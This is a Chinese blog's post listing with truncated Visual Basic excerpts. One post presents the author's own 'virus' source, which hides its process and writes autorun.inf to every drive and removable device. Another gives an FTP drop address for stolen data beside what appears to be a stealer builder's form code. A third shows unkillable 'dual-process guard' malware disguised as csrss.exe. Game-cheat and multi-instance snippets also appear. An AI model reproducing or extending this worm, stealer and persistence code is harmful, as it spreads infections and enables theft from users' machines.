mddr99mddr
- 浏览: 15108 次
-
最新评论
文章列表
VB编程
2010年05月13日
正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
我是 CRole
大家一起学习VB
以下是 代码：
Sub Main()
App.TaskVisible = False '隐藏进程
On Error Resume Next
Open App.Path & "autorun.inf" For Output As #1
Print #1, "[AutoR ...
VB制作游戏双开器
2010年05月24日
VB制作游戏双开器
其实原理非常简单 一般程序判断是否双开 就是读取游戏在任务管理器的应用程序中的标题（要是进程中的就不行了）。这个的功能就是修改进程名，以达到双开效果。
下面是源码：（看好啊） （比较简单只对部分游戏和软件管用）
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Lo ...
暂时放一放./..脑子要炸了
- 博客分类：
- 技术杂绘
暂时放一放./..脑子要炸了
2010年11月10日
ftp://55018.7e7e.info/ 收信空间
ASP设置:
VB FORM1窗口代码:
Dim X As Integer
Private Sub Check1_Click()
If Check1.Value = 1 Then
i = MsgBox("一键灭黑锁定成功", , "新势力老汉推车")
End If
End Sub
Private Sub Check2_Click()
If Check2.Value = 1 Then
i = ...
vb 如果让系统不能结束你的进程
- 博客分类：
- 技术杂绘
vb 如果让系统不能结束你的进程
2009年12月25日
这个可以用双进程守护实现，代码如下：
我保证可以实现 ,而且cpu使用率正常，不会像其他人写的双进程保护，占用了大量的资源
新建工程1，添加command1和timer控件，直接复制代码，将这个程序保存为csrss.exe
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOp ...
几个代码VB
2009年07月15日
现在看VB感觉越来越亲热了...毕竟按键类的已经明确定义了不是外挂...呵呵.
-----------------------------------------------------
江湖自动补血外挂.
窗体部分.
Dim SetHp As Integer
Dim SetMp As Integer
Dim SetTl As Integer
Dim DiZhi As Long
Dim ShiJian As Long
Dim shi As Integer
Dim yue As Integer
Dim ri ...